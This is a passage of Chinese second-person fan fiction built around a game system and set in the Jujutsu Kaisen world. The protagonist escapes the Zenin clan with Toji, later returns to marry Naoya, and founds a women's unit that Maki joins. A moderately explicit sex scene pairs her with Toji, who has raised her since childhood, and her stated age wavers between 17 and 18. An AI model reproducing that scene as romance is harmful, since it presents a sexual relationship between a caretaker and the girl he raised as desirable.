【八岁,触发特殊事件:禅院甚尔的叛逃。】
你眼中睡意全无,睁开眼看着禅院甚尔离开的背影。
乌鸦从屋檐上俯冲而下。
夜晚,月光如水,黑色的翅膀在月光下展开,飞速在天空中滑过一道弧线,在禅院家边界处,乌鸦急速下降,从翅膀底下掉出来一个黑乎乎的东西,在禅院甚尔眼前急速放大。
“甚尔!”
他又听见了那个声音。
头顶传来扑棱声,禅院甚尔下意识伸出手臂,心跳莫名慢了半拍,一切都像是慢放一样,他稳稳地接住你。
你抬起头,黑瞳在月光下亮得惊人。
“你怎么出来了。”他问。
你伸手摸他的脸,指尖触到冰凉的皮肤,然后用力捏了捏。
“你现在的样子好呆啊哈哈哈!”
他愣住,然后他发现自己居然在笑,嘴角不受控制地往上扯,露出一个他自己都没意识到的弧度。
他扣住你的手腕,不再让你作乱。
“问你话呢,未来家主夫人?”
他的绿眸在月光下骤然收紧,像被点燃柴木越烧越旺。
乌鸦在他头顶盘旋,嘎嘎乱叫,然后落在他头上,用喙啄他的头发,牛奶从你身后的影子里钻出来,冲他“喵”了一声。
他看着你那张猖狂大笑的脸,他的头发被乌鸦啄成鸡窝,牛奶缠在他脚边,怀里还抱着你,整个人狼狈又荒唐。
你还真是拖家带口啊!
他没忍住,又笑了。
你看着他那张忍俊不禁的俊脸,没回答他的问题,只是大笑,抱紧了他的脖子。
心跳声传来,混着猫叫和乌鸦叫。
他扣住你的脑袋,问:“想好了?”
他听见你的声音,含糊不清地从他颈侧传来,震得他心颤。
“干嘛要抛弃玩家嘛,我绝对会报复你的!”
他抬起头,禅院家的结界在月光下泛着微弱的咒力光晕,警报声刚刚响起,有人发现了。
如果只有他一个无咒力的人,可以无声无息地穿过去,但加上你的话。
他咧开一个笑。
“抓紧了!”
他收紧手臂,足尖点地,整个人如离弦的箭,朝着结界边缘冲去。
---
“啊啊啊啊!”
逃是逃出来了,但是这到底是什么无良商家开发的劣质小游戏啊?!
禅院甚尔耳边听着你的惊呼,脚下踩着一只香蕉皮在道路边高速滑行,他看着缓缓后退的车辆,瞳孔地震:
为什么滑香蕉皮会跑得比汽车还快啊?!
“这才不是什么劣质小游戏!”你脚下同样踩着一只香蕉皮,在一旁激情解说,“这是由于踩到香蕉皮滑倒的人数太多导致人们共同诅咒而开发出的【踩到香蕉皮绝对会滑倒诅咒】啊!”
“什么·踩到香蕉皮绝对会滑倒诅咒·啊!”禅院甚尔在飞速滑行中不忘震撼呐喊,“你到底是怎么一口气说出它这么扯的全名的?!”
你脚下这只诅咒的超长全名都快戳到你脸上,你不知道才怪了!
“你不也一口气说出它的全名了吗?”你愤怒地喊回去,回头一看,惊恐地喊道:“快跑,禅院家要追上来了!”
禅院甚尔面部扭曲,伸脚在地面上用力一蹬。香蕉皮以火光带闪电之势飞速前冲,脚下似乎要冒出火星——
不,香蕉皮是真的与地面摩擦出火花了啊!
他转头一看发现你还掉在身后,连忙喊:“愣着干嘛?学我啊!”
你:哦哦。
你在路面上高速滑行,感觉自己仿佛要升入天堂,这是要被卡密sama选中了吗?
你忽然表情一变,“啊啊啊啊!甚尔,前面有路障啊啊啊!”
这到底是要干嘛!?
禅院甚尔表情一狠,伸展手臂,扬起脖颈,腿部轻轻一跃——
那一瞬间,仿佛有聚光灯从天而降,他的黑裤衩似乎变成了芭蕾舞裙,整个人以《天鹅湖》主角的姿态,姿势优美地腾空、旋转、落地,稳稳踩住香蕉皮继续往前滑行!
你感动捂嘴:“呜呜,我们甚尔也是有跳芭蕾的天赋啊呜呜呜呜……”
禅院甚尔满脸惊讶,难道、难道他真的有跳芭蕾的天赋?
个屁啊!!!
他一头黑线,这绝对是有什么东西在搞鬼!
你and系统:诶嘿!
“啊啊啊啊又是路障!”
禅院甚尔一把捞起你的腰,你在空中旋转三周半,他提起一条腿,以专业芭蕾舞者的优雅姿态再次完美躲避路障,然后稳稳接住落下的你。
Perfect!他耳中似乎响起奇怪的音效。
Great!Excellent!Wonderful!
路人们纷纷停下脚步,惊叹地观赏这场完美的街头演出,当香蕉皮带着禅院甚尔完成一个完美旋转360度时,他们甚至热烈地鼓起了掌!
“滚啊!”禅院甚尔表情狰狞地把香蕉皮甩到第一个鼓掌的人的脸上。
“啪!”香蕉皮滑落,那个人惊恐地喊:“芭蕾先生打人了!快跑!”
人群一窝蜂地跑开了,现在你们没有了香蕉皮的助力,只能用双腿跑路。
禅院甚尔终于松了一口气,加速狂奔。
该死的禅院家,追得这么紧!
还没放松两秒,禅院甚尔感觉自己像是被地面黏
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住了一样,他往地面上一看。
“谁的口香糖啊!”他使劲扯自己的腿,“谁这么没有公德心?!”
你惊呼:“这才不是什么谁吐的口香糖,这是由于踩口香糖黏住鞋底的人数太多导致人们共同诅咒而开发出的【踩到口香糖绝对会黏住的诅咒】啊!”
“这又是什么·踩到口香糖绝对会黏住诅咒·啊!”禅院甚尔崩溃怒吼,“这些劣质诅咒什么时候不出现,怎么全在我们逃离禅院家的时候出现啊!”
你and系统:诶嘿!
“甚尔快,禅院追兵要赶上来了!”你在一旁加油鼓气。
“你这个站着说话不腰疼的小鬼,给我下来!”
现在你也要与【踩到口香糖绝对会黏住诅咒】作斗争了!
禅院追兵越来越近,你们奋力地挪动着自己的脚。
“是时候使用那种方法了!”你表情坚定,眼中闪烁着智慧的光芒。
“什么方法?”禅院甚尔眼含希冀,仿佛看到了救世主。
“那就是——当人们脚底粘住口香糖时,只需要用路边的沿口用力一磨,口香糖就掉下来了!”你示范动作,脚下诅咒剧烈尖叫一声,缓缓消散。
禅院甚尔无语凝噎。到底是什么鬼的诅咒,这么弱?!
他用脚碾了一下地面,终于重获自由。
能不能不要再来这些劣质小游戏了啊。。。还有,怎么全是地面上的阴招?
“禅院甚尔!别跑!”
“两个叛徒,停下!”
你们身后传来禅院追兵的叫喊声。
忽然,一阵诡异又华丽的特效从你们头顶飘过,禅院甚尔抬头一看,表情呆滞。
亮闪闪的鸟?话说脚盆有这种种类的鸟吗?
你刚要惊呼——
“啪!”禅院甚尔一把堵住你的嘴。
你呼不出来,怒视禅院甚尔。
他单手掐住你的嘴,神情中透出一丝诡异的安宁,“别惊呼了好吗,姑奶奶。”
禅院追兵喊道:“叽叽咕咕什么呢,还不束手就擒!”
咻——啪!
禅院追兵张大嘴巴,嘴里忽的出现了——鸟屎?
“啊啊啊啊!”追兵尖叫。
这就是传闻中令人闻风丧胆的bird shit啊!全世界0.002%的被鸟屎砸中的概率,在此刻化为了100%!
“哈哈哈哈!”禅院甚尔狂笑不止,同时身体一侧,完美躲过另一份从天而降的鸟屎。
“呕!”追兵狂吐,发疯般对着鸟群怒吼,“给我把这些死鸟都杀了!”
鸟群动作整齐划一地伸展翅膀,优雅躲过追兵们的攻击,仿佛在跳空中芭蕾,追兵们气得吐血。
bird shit像是流星一样划过夜空,带着诗(?)意散落满天。
禅院甚尔身躯敏捷地躲避着飘落的鸟屎,把天与咒缚的身体潜力发挥到极致,一丝鸟屎都休想沾到你们的衣角!
趁着追兵们与鸟屎作对的时候,你们迅速把他们甩到了身后。
终于,禅院甚尔气喘吁吁地停了下来。
他的表情淡淡的。
他身旁的气氛也淡淡的。
整个人像是要出家的僧人,周身萦绕着看破红尘的超脱与平静。
他悟了,他平静了。在经历了踩香蕉皮滑行、踩口香糖黏住、被鸟屎轰炸之后,这世上已经没有任何事情能引起他情绪的波动了。
你:哦不!甚尔!你不要出家啊!
24.第 24 章
你和禅院甚尔终于逃离了禅院家,但一个刚成年的人和一个未成年的人到底要怎么活下去呢?
这一次不像你和小葵出逃的那次,如今你觉醒的是十种影法术,禅院家那些老头是断不能让其流落在外。
你苦恼没几天,就得到了答案:靠禅院甚尔。
“没想到你这么能赚钱啊?”你蹲在出租屋的榻榻米上,看他数着一沓一沓的钞票。
“不然靠你去卖脸吗?”
你这张脸有多少人花钱都想看,你撇过脑袋,哼了一声:不识好歹!
禅院甚尔还是很给力,充分靠着自己单身奶爸的天赋一边赚钱一边带着你躲藏。
你们一般在一个地方停留不会超过一个月,说实话,抛开频繁搬家不谈,你过得还挺滋润的。
这天,你们刚收拾完准备动身离开,却在半路上再次遇到了禅院家的追兵,为首的是个长老模样的老头,身后跟着四个“炳”的成员。
禅院甚尔的身体瞬间绷紧,把你挡在身后。
长老开口,“华子小姐,玩够了就该回家了。”
你从他身后探出半个脑袋,“我还没玩够呢,不回去会怎样?”
“家主说了,只要你回去,既往不咎,婚约照常进行,至于这个废物……”
你叹了口气,觉得这场对话已经浪费了你太多的时间,结出蛇的手印果断拖住这些追兵,然后和禅院甚尔逃了。
长老冲你愤怒地喊道:“难道你要和这个废物躲躲藏藏一辈子吗!早点回归家族才对你最好,待你成为家主夫人,你什么得不到?”
你的身前再次出现了系统选项。
【请选择——】
【A. 拒绝回归。】
【B.同意回归 。】
这次竟然没有选项C吗?
不论是和甚尔一起逃走还是回归家族,选哪种选项你好像都能一眼看到结局,没有哪个选项能特别吸引你,你犹豫了三秒。
你[点击存档],小孩才做选择,玩家选择都要!
[选A]
你抬头,对那群追兵露出一个面具后的笑:“追得上就来吧。”
乌鸦尖啸着俯冲而下,蛇影从地面暴起。
你一把跳上禅院甚尔的背,搂住他的脖子。
“跑!”
风在耳边呼啸,追兵的怒喝声迅速远去。你趴在他背上,感受着他肌肉的起伏和心跳的节奏,忽然凑到他耳边,小声地说:
“甚尔,你说我们这样算不算私奔?”
禅院甚尔侧眼看你一眼,耳廓微红,下颌紧绷,下一秒他恢复正常,只是跑得更快了。
【17岁:你和禅院甚尔来到一处村庄。】
泥土路两边是稻田,风吹过来带着青草和牛粪的味道,你站在村口,伸手摸了摸空空如也的衣兜。
玩得太嗨,忘记带钱了,你和他对视一眼。
“你上次不是说接了个大单?”你问。
“上周花完了。”
“你花什么了?”
“某人兴致大发,去吃了一趟超豪华的海鲜盛宴。”
你嘿嘿一笑,心虚地移开视线。
泥土路上传来“突突突”的声响,一辆破旧的三轮车摇摇晃晃地驶过来,你连忙挡住车的去路。
里面下来一个和蔼的老奶奶,她看到你们一身狼狈的样子,担忧地问:“孩子们,你们需要帮忙吗?”
你对着老奶奶哭诉,“奶奶,我们是从大家族逃出来的,家中长辈因为我的容貌要把我许配给一个秃头油腻男。”
老奶奶倒吸一口凉气。
你一把拉过旁边的禅院甚尔,把他往前一推:“这是我的侍卫,村田,我和他两情相悦,他是在不忍我委身老男人,于是带着我逃了出来呜呜呜……我们身上的伤就是家中长辈打出来的呜呜。”
禅院甚尔·侍卫村田嘴角抽了抽。
老奶奶打量着眼前这个“侍卫”——一米八几的个头,肩宽腿长,她点点头:“看着确实像练家子。”
“但是……”老奶奶有点犹豫。
你忽然踮起脚,吧唧一口亲到禅院甚尔脸上。
他瞪大眼睛,捂着被你亲过的那半张脸,脸上的红色以肉眼可见的速度从耳根蔓延到脖子,“你、”
奶奶看他一副害羞的样子,也确定你们是两情相悦了,义愤填膺地说:“这群可恶的人,孩子们,上来吧,奶奶带你们一程。”
你们坐在三轮车后面,风景从身后迅速划过,你转过头笑嘻嘻地对他说:“小村田,多大一个人呀,怎么还害羞了?”
禅院甚尔掐住你的胳肢窝,把你整个人从车斗里提了起来,“到地方了,下车吧,演技精湛的大小姐。”
你被他掐得痒,忍不住扭着身子笑出声。
“村田侍卫,你怎么能对主子动手动脚的。”
“嗨嗨,大小姐请下车。”
“华子小姐。”老奶奶的声音从车头传来,她探出身子,笑眯眯地看着你们,“这旅馆还行,奶奶以前住过,你们先歇着,奶奶还得去给孙子送菜。”
你立刻换上乖巧的表情,冲她挥手:“谢谢奶奶!拜拜拜拜!”
老奶奶看着你们这副“亲近”的样子,脸上的笑意更深了,摆摆手,开着三轮车突突突地远去。
你转身,推门走进旅馆。
大堂里人声鼎沸,到处挂着红灯笼和彩带,柜台前排着长队,
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墙上贴着花花绿绿的海报——一年一度的歌演会。
你眼神一亮,头也不回地对禅院甚尔说:“你先去订个房间洗澡吧!我在这里逛逛。”
你混在人群里,东窜西窜,凭借你的容貌,你顺便还得到了几枚香吻和两瓶酒。
晚上,你推开门:“我鬼混回来啦!”
“嚯。”
禅院甚尔刚洗完澡,站在窗边擦头发,他下半身裹着一条浴巾,上半身还挂着水珠,月光从窗外照进来,在那具布满伤疤却线条流畅的身体上勾勒出明暗分明的光影。
他挑起一边眉毛,目光从你脸上那可疑的红晕扫过,“刚成年就去喝酒了?”
“酒好难喝。”你笑着对他招招手。
他放下毛巾,朝你走过来,一边说:“喝一点醒酒汤?现在我去做?还是……”
你抱住他,伸手抓了抓他的胸肌,“甚尔你的身材真好。”
你拉开自己的衣服下摆看到了自己的马甲线,流出了羡慕的眼泪,“呜呜为什么我没有啊。”
你的脸刚好埋在他的胸肌上,他的身体刚洗干净就被你糊了一嘴口水和酒味。
他捉住你的手,另一只手忍不住捂住自己的脸,你小时候也说过这种话,他当时什么感觉都没有,现在……
果然是你长大了的缘故吧。
他把你公主抱起来放到床边。
刚放下,就被你一把拽住,整个人重心不稳地跌在床上。
“我要睡觉了,”你四仰八叉地拉住他“你也在这里睡。”
这样绝对不行!禅院甚尔黑着脸与你的手和脚奋力对争着。
再这样下去,你绝对会嘲笑他的!
沉默。
你眼神微妙,“甚尔,好变态。”
他眼神死,“这下好了吧,让你成年了不要和我睡!”
“啊啊,甚尔真是一个变态呢,我也快被你养了吧?这样一算,我都算的上甚尔的女儿或者妹妹了呢,对着自己妹妹都能……”
“唔唔!”他面色通红地捂住你的嘴,“别说了!”
“这到底是谁的错啊,你一天天像个恶魔一样到处搞事,我根本没有时间找女人啊!”
“人渣!变态!对着自己妹妹都能——唔唔,禽兽!有本事别捂我嘴!”
“闭嘴!这都是你的错,你非要抱我!”
“你的错!”
“你的!”
“谁让你自己意志不坚定!”
禅院甚尔住嘴,感觉自己身体越来越热,像是喝酒的人不是你而是他一样,热气在血管里上蹿下跳,烧得他耳根发烫。
所以为什么非要在这种情况下争论这件事啊!禅院甚尔眼神死。
25.第 25 章
“行行行,大小姐,先让我下去行吗?”他下颌线紧绷,青筋绷起。
他趁你不注意,立马离开床铺。
“诶!”你喊了他一声,下意识拽住他的浴巾一角。
“咻——”微风吹过,你呆愣地与自己手里的浴袍面面相觑。
再抬头,他完美且具有艺术感的屁股就这样水灵灵地暴露在你眼前。
“噗,”你嘴角抽搐得厉害,终于忍不住捶床大笑,“哈哈哈哈哈抱、抱歉,这次我真的不是故意的哈哈哈哈……”
禅院甚尔额头青筋狂跳,感觉自己屁股凉嗖嗖的。
他从你手里抢走浴袍,迅速在腰腹系了个死结,眼睛狠狠一闭,这个臭小鬼!
你笑得眼泪都冒出来了,起身下床,问他:“你生气啦?”
“我、没、有!”禅院甚尔深刻反思自己,他果然不该和你这个酒鬼起争论的。
“好啦好啦,其实我只是想让你做个事情。”
楼下爆发出更大的欢呼声,似乎是有什么出名的人物在演出,声浪一阵接一阵地涌上来,隔着地板都能感受到那种沸腾的热度。
但禅院甚尔什么都没听进去。
他感觉到一双微凉的手从身后环住了他的腰,像两块冰凉的玉,他的呼吸停滞了一瞬,随即变得更加粗重。
然后他听到了你带着酒气的声音,疑惑的语气里掺着点恶作剧般的调侃,“不会被楼下的声响吓萎.了吧?嗯……好像没有。”
禅院甚尔猛地仰头,喉结剧烈滚动,溢出一声压抑的喘息。
他一把抓住你作乱的手,力道大得惊人,却又在触碰到你的瞬间下意识放轻,他侧过脸,月光从窗外照进来,正好落在他棱角分明的侧脸上,那双绿色的眼眸里翻涌着说不清的情绪。
“你喝醉了。”
“还好啦,我的意识很清醒哦,”你挣脱他的束缚,绕到他身前,“我都十八岁了,甚尔就不能乖乖把自己当成生日礼物送给我吗?”
禅院甚尔垂眸看着你。
月光在你脸上镀了一层银色的薄纱,你的脖颈白皙,锁骨在衣领下若隐若现,随着呼吸轻轻起伏。
他语气艰涩,“你确定?”
“你好磨蹭啊……嗯?你怎么这么慢?”
禅院甚尔猛的仰头,喉间溢出一声喘息。
他反扣住你的后脑勺,拨开你额头的碎发,吻了上去,舌尖撬开你的齿关,显得有些急躁,牙齿磕到你的嘴唇,你用力扯住他的黑发。
“轻点,狗吃骨头吗!”
他松开你的嘴唇,含住你的嘴唇,伸出舌头舔了舔,碧绿色的眸子垂着看向你,“这样?”
你看着他还把舌头伸给你看的样子,忍不住脸红心跳,这个游戏尺度怎么这么大啊!
他的吻从嘴唇到锁骨一路向下,禅院甚尔抽出湿漉漉的手指,撇了眼自己手指的长度。
“这个长度……应该够。”
你的后背撞上柔软的床垫,你们倒在床上,倒是苦了这张单人床要承受两个人的重量。
月光从没拉严的窗帘缝隙里漏进来,在地板上投下一道银白色的光带,楼下的人群还在欢呼,歌演会的高潮一波接一波。
……
你从游戏里猛地抬起头。
系统空间的白光刺得你眯了眯眼,胸口还残留着余温——那张吱呀作响的单人床,月光,他压在耳边的喘息,以及最后他圈着你,下巴抵在你发顶时的低低哼笑。
【恭喜玩家达成结局:Happy Ending[成年礼物]】
【解锁CG:[养成的尽头是监守自盗] 】
你盯着那行【监守自盗】四个字,嘴角抽了抽。
系统还真是会起名字。
你看着屏幕上那张缩略图,画面里是月光下凌乱的单人床,和某个男人餍足后难得放松的侧脸,你忍不住又捂了捂脸——这个游戏的尺度,是不是有点太大了?你决定把这个档留着,先不覆盖了,之后再来品味吧。
【正在返回上一个存档点……】
【请选择——】
【A. 拒绝回归。】
【B. 同意回归。】
你选择了B。
“……好啊。”
话音落下,空气像是被抽走了几秒。
对面的长老明显愣了一下,那张原本准备好长篇大论说教的脸僵在那里,连后面几个“炳”的成员都面面相觑。
长老反应还算快,立刻换上一副“算你识相”的表情,让你立马抛弃禅院甚尔回归家族。
你看着禅院甚尔的脸,那双绿色的眼睛像结了冰的湖面,与上一个档捂着屁股和你吵架的禅院甚尔相比简直像两个人了。
倒让你有点不熟悉了。
---
禅院甚尔不知道自己是怎么回来的。
脚像是自己有意识一样,不过,现在是他一个人了。
他忽然想起禅院华子刚才说的话。
她和长老讨价还价的时候,带着那种让人牙痒痒的语气:“还有一个要求,是你们放他走,撤下悬赏。”
长老当时就笑了,那张橘子皮一样的老脸皱成一团:“别在这里上演什么苦命鸳鸯的戏码了,炳,给我拿下这个废物——”
“废物?”她打断了长老的话。
“禅院家妄想百年的十种影法术,现在在我身上。”她抬起眼,月光在她黑色的瞳孔里碎成细小的光点,“如果你们完成不了带我回去的任务——你知道我有能力躲开你们一辈子。”
长老的脸色变了。
于是禅院甚尔就这样被“放过”了。
禅院甚尔盯着她,她脸上戴着面具,他看不见她的表情。
脑子里翻来覆去只有一个念头:
她到底在想什么?
有时候他觉得她跟上来了,她又突然停下;有时候他觉得她该放弃了,她又死皮赖脸地贴上来。
她像个随心所欲的漩涡,把人卷进去就不管了,自己却永远站在漩涡中心,高高在上地、好奇地打量着每一个被卷进来的人。
为什么?
“所以为什么。”
等他再次反应过来的时候,他的双手已经掐住了她的衣领,指尖用力得发抖。
长老的嘲讽声又响起来,尖利刺耳:“看来有些人并不领你的情啊,华子小姐。一个废物,也配——”
“闭嘴!!!”
禅院甚尔猛地转头,那双绿色的眼睛里爆发出惊
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人的戾气,像被踩中尾巴的野兽。
“三个月也抓不住人的蠢货,有什么资格在这里放屁!”
长老的脸涨成猪肝色:“你!”
禅院甚尔没再理他。
原来逃出来也有三个月了,或许这些日子太宁静了,倒是让他产生一丝平和的错觉了。
他低下头,忽然意识到自己的手还掐着她的衣领,那力道大得她自己都能感觉到疼吧?他下意识松开手,然后——
然后他发现自己竟然在替她整理领子。
把那被他掐皱的布料一点一点抚平,动作轻得连他自己都觉得陌生。
她的衣领下露出一小截白皙的脖颈,月光照在上面,细腻得像上好的瓷。
他的手指顿了一下,垂眸看着她因为表情稀缺而显得默然不的脸,问:“所以为什么?”
他想问为什么决定好了和他一起叛逃,最后又出尔反尔?为什么给了他希望,又亲手把它掐灭?为什么她要让他觉得自己被需要了,然后又让他发现自己什么都不是?
他难道是一条召之即来挥之即去的狗吗!?
这些问题像烧红的铁块,一块一块卡在他喉咙里,梗在喉咙发酸、发烂,烫得他眼眶发酸。
他吞不下去,也吐不出来。
“你把我当狗吗?”他终于挤出一句话,“啊?禅院华子!”
他不知道自己现在的表情是什么样,大概是狰狞的吧。
她没说话。
月光从她身后照过来,在她脸上投下阴影。
禅院甚尔忽然想起三个月前那个晚上,她从天上掉下来,落进他怀里,说“干嘛要抛弃玩家嘛,我绝对会报复你的”。
他当时笑了。
现在他笑不出来。
“说话啊。”他说。
她倒是显得很奇异一般,“甚尔,你还有什么不满足呢?”
满足?
她向前迈了一步,动作像是做了一百次那样,抬起手想要安抚他。
“你从来是一个擅长独居的人,在没有禅院的纠缠后……”
禅院甚尔已经听不清她那张叭叭不停的嘴说的什么了。
那些字句飘进耳朵里,却模糊得像是隔着层层玻璃。他只是盯着她,盯着那张藏在面具后面的脸,盯着那双黑色的瞳孔。
脑子里忽然闪过一个念头——
所以这是报复吗?报复他想要抛弃她三次?
而她站在这里,用那种“你怎么还不满足”的眼神看着他,用那种哄小孩的语气安抚他,告诉他“你一直想要自由,现在你有了”。
她的手落在他背上轻柔地拍了拍。
禅院甚尔僵在原地。
那只手收了回去。
她转身,走回那群人中间,然后那群人渐渐远去,消失在月色笼罩的树林深处。
风吹过来,带着夜晚的凉意,他忽然觉得有点冷——明明他从来不怕冷的。
---
三天后,有人传话出来:禅院华子决定回归家族,择日与禅院直哉订婚。禅院甚尔,除名。
【12岁:你与禅院少家主禅院直哉订婚。】
一周后,是正式的订婚仪式,禅院家准备向咒术界广发请帖。
26.第 26 章
禅院家要有大事发生。
四岁的真希不知道什么是大事。她只知道这两天院子里的下人跑来跑去,比过年还忙。母亲板着脸,一遍遍检查她的衣领,检查真依的衣领,检查完又把她们拉到水盆前洗手。
“别乱跑。”母亲说,“今天来的都是贵人。”
真依小声问:“什么是贵人?”
母亲没回答,她把真依的手从水盆里捞出来擦干。
真希站在旁边看,她看见母亲的手上有茧子,洗不掉的那种,母亲的手和院子里那些干活的女人的手一样。
她想起有一次问祖母:「为什么女人都要干活?」
祖母看了她一眼,没说话。
那是真希第一次知道,有些问题是不用回答的。
她们还是跑出去了。
真希拉着真依,贴着墙根走,心快要跳出嗓子眼。
这是她第一次做这种事,不听话地偷偷钻到大人不让去的地方,母亲和祖母的话她都记得,但越是记得,此刻的脚步就越快,快得她自己都控制不住。
真依的手在她掌心出汗,小小的,有点抖,真希捏了捏,意思是别怕,但她自己的手也在抖。
贴着墙,矮着身子,真希感觉自己像一只偷东西的老鼠,这个念头让她更兴奋了:她从来没当过老鼠。
风从耳边刮过,凉凉的,真依的脚步磕磕绊绊,但她没有出声,真希忽然觉得妹妹今天特别勇敢。
前面就是正厅侧面的小角门。
真希认得这个门,平时锁着,今天因为人多,开了,门缝里透出光和人声,嗡嗡乱吵像一群蜜蜂。
她们从门缝里看出去——
全是人。
那一瞬间,她的心跳忽然顿了一下。
她们的眼睛一下子装不下那么多东西:男的,女的,老的,少的,穿黑羽织的,穿西装的,坐着的,站着的,长案以及案上的东西,有人指指点点,有人大声说话。正厅原来这么大,原来能装下这么多人。
真希的呼吸慢慢顺了,心跳还在跳,但不再是那种要撞出来的跳法。
她忽然意识到一件事——大厅里满满当当的人群里没有女人。
兴奋感慢慢退下去,取而代之的是一种她说不清楚的东西在肚子里沉甸甸地坠着。
然后她看见了直哉。
直哉站在最前面,穿着一身她从没见过的衣服,黑色,绣着纹,他的头发梳得很光,脸很白,下巴微微抬着。
所有人都看他。
“那就是直哉少爷。”有人在她身后说。
真希回头,看见一个她不认识的侍女,侍女也趴在门缝边往里看,眼神亮亮的。
“今天是他订婚。”侍女说,“对面是那家的姑娘。”
真希顺着她的目光看过去——
她看见了你。
你站在另一边,穿着层层叠叠的衣服。
面上的角隐(つのかくし)①额外长,被轻轻覆在你额前,沿着发际线压下,遮住了眉与眼,只露出挺翘的鼻梁与嘴唇。
角隐垂落,将你精心梳起的发髻严严实实地笼在其中,只余下几缕被规矩拢好的碎发,贴在耳侧。
真希看着你,忽然想起了她的母亲。
「哦,就是她们。」
「双胞胎,就是那两个废物?」
「不是废物,是无能者。咒力被均分,两个都成不了术师,听我爸说,她们连咒灵都看不见。」
「那不就是废物吗?」
一群人哄笑起来。
「走吧。」真希拉着真依往后退。
他伸手推了真希一把。
真希没站稳,往后退了两步,撞在真依身上,真依叫了一声,声音很小,像被吓到的猫。
「双生子……废物……」
「不该活在世界上的东西」
另外的人一个扯真依的袖子,一个推真希的肩膀。
「别碰她!」真希喊,把真依护在身后。
「妈妈——!」真希喊。
她看见母亲从回廊那头走过来。
真希的眼睛一下子亮了,她张嘴想喊,但还没喊出来,就看见母亲停住了。
母亲站在那里看着她们,然后深深地弯下了腰。
「对不起,几位少爷,孩子不懂事……不该来前院,对不起……」
真希愣住了。
「妈妈!你在说什么啊!」
母亲佝偻着腰,一动不动。
「啊!好痛!」真依在身后叫了一声,有人扯了她的头发。
真希猛地转身,把真依护在怀里。
真依的脸埋在她胸口,热热的眼泪渗进她的衣服里。
周围的人都在笑。
直哉也在笑,他笑的时候下巴抬得更高了。
真希忽然有点难受。
真依拉了拉她的袖子:“姐姐,那个人……”
“嘘。”真希按住她。
仪式在继续。
有人端来两杯酒。直哉拿过一杯,一口喝完了,你拿过另一杯,低头看了一会儿,然后也喝了。
真希看见你喝的时候呛了一下,但没有咳出声。
旁边的侍女说:“小孩子不会喝酒,正常的。”
真希想:她和我一样大吗?
然后直哉走到你身后,拿起一枚钗往你头上插,这应该是什么特殊的仪式②。
第一次,没插进去。
第二次,歪了。
第三次,他用力——
你抬起手,握住直哉的手,带着他把那枚钗插进头发里。
直哉站在原地,愣住,向后退了一步。
旁边的侍女说:“这姑娘脾气真好。”
真希没说话。
她看见你的手放下来之后,垂在袖子里,袖子很宽,看不见你的手。但她忽然想:你的手上会不会也有茧子?会不会和母亲的手一样?
仪式经过一个下午结束了。
人群开始动起来,直哉被几个老头围住,不停点头,你被几个女人围住,往后院走。
真希觉得你走得太慢,不像她一样跨着大步子,可能是你的衣服太长了,每走一步都要小心,但你走的每一步都很稳,步子像是被什么丈量过一样标准。
真依又拉了拉她的袖子:“姐姐,她要去哪?”
“后院。”真希说。
“后院是哪里?”
“就是……”真希想了想,“女人待的地方。”
她看着你的背影越来越远,越来越小,最后消失在回廊尽头。
她忽然想拦住你问:你以后会变得和我妈妈一样吗?
侍女已经走了,真希拉着真依,贴着墙根,慢慢往回走。
真依问:“姐姐,我们以后也会那样吗?”
真希不知道怎么回答。
---
记忆逊色于时间。
在光阴无声的流逝中,真希已经忘记了那个人的脸。她努力回想,却只能抓住一些模糊的碎片——白色的衣服,垂落的角隐,还有那双被遮住的眼睛。
但她耳边时常听到一个人的名字。
这个名字像藤蔓一样,缠在禅院家每一道回廊的阴影里:仆人们压低声音传,女眷们咬着耳朵说,连那些高高在上的男人们,也会在酒过三巡后咬牙切齿地蹦出这几个字。
狐狸精。
不守规矩的女人。
恐怖的阴影。
她总是听到禅院长辈们在背后悄悄骂“混蛋!她怎么敢蛊惑少主!?”
黑发黑瞳、带着面纱、术式为十种影法术的——禅院华子。
这到底是什么样的一个人?真希忍不住想要和真依讨论。
那天真依跑进来,喘着气,眼睛亮得吓人。
“姐姐!”真依说,“女子部队!有人组织了女子部队!”
说是女子部队也不准确,直属武装部队才算是它的名字,只不过里面只要女性罢了。
真希的心脏猛地跳了一下。
“可以参加!只要通过测试就可以!”真依抓着她的袖子,指节用力得发白,“姐姐,我们去参加吧!如果通过了,就可以证明我们有用
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!就可以不被看不起了!”
部队的训练场在禅院家最偏的一个院子里,据说那个人把这里要了过来,改成了现在这样。
真希和真依挤进去。
院子里有很多人,都是女的,大部分人是年轻人,她们三三两两站着,低声交谈着。
真希四处张望,她在找组织者。
她很兴奋。这绝对是一个开创性的、天才的想法!如果能成,如果能真的训练出一支女子部队——那就可以证明女人不是只能一辈子待在后院!
她忽然看见一个有点那个背影站在人群最前方,身姿笔直,黑色的长发垂落腰际,发尾在晨风里轻轻晃动。
很眼熟。
真希皱起眉,努力回想在哪里见过这个背影,这个影子站在院子另一头,背对着她们,穿着一身很素净的衣服,正弯腰在看什么。
“她也是来参加的吧,”真依小声说,“和我们一样。”
真希点点头。
她没再多想,她只是觉得这个人站着的姿势有点奇怪——太直了,像一根钉在地上的桩。
然后这个人转过头。
真希看见了你的脸。
一瞬间,有什么东西在她的脑子里炸开。
那个人稳稳地站在原地,五官精致得像一个玩偶,每一个弧度都像是被最苛刻的雕刻家反复打磨过,连嘴角上扬的弧度都定格得十分完美,光是站在那里就能诠释禅院家最出色的主母该是什么样子。
但是面纱之下的那双眼睛——
真希想:那种眼神又出现了。
当年她从门缝里看到的眼神,你握住直哉的手、带着他把钗插进头发里时的眼神。
真希不知道自己什么时候迈出了脚步。等她反应过来时,她已经穿过了人群。她竭尽全力地奔跑着,把那些惊讶的目光和低声的议论都甩在身后,她跑到那个人面前,直直地站住,挡住了你的去路。
你是!真希张了张嘴。
组织女子部队的就是当年订婚的那个人——禅院华子!
那个人微微侧头,看向她。
“嗯?”你说,“何事?”
那双眼睛看着她,安静的,等待的,像一潭深水,把她所有的冲动都吸了进去。
“姐、姐姐!”
真依从后面冲上来,一把拽住真希的袖子,力气大得把她整个人都往后拉了一步。真依的脸红透了,她低着头,不敢看那个人,声音又急又结巴:
“我、我们想问怎么报名!”
真希听不见真依在说什么了。
她只看见这个人笑着站在那里,你身上没有那件小山一样的衣服了,你穿着很素净的衣服,站在训练场中央,身后是一群正在拉伸的女人。
你的脚边放着几把训练用的木刀。
你的身后,有人正在练习对打,呼喝声此起彼伏。
你站在这一切前面,微微笑着,问她们:何事?
真希想问你那年是不是故意的,想问你这些年是怎么过来的,想问到底怎么样才能变得和你一样。
但她什么都没说。
她直愣愣地跪下去,膝盖砸在土地上,发出一声闷响。
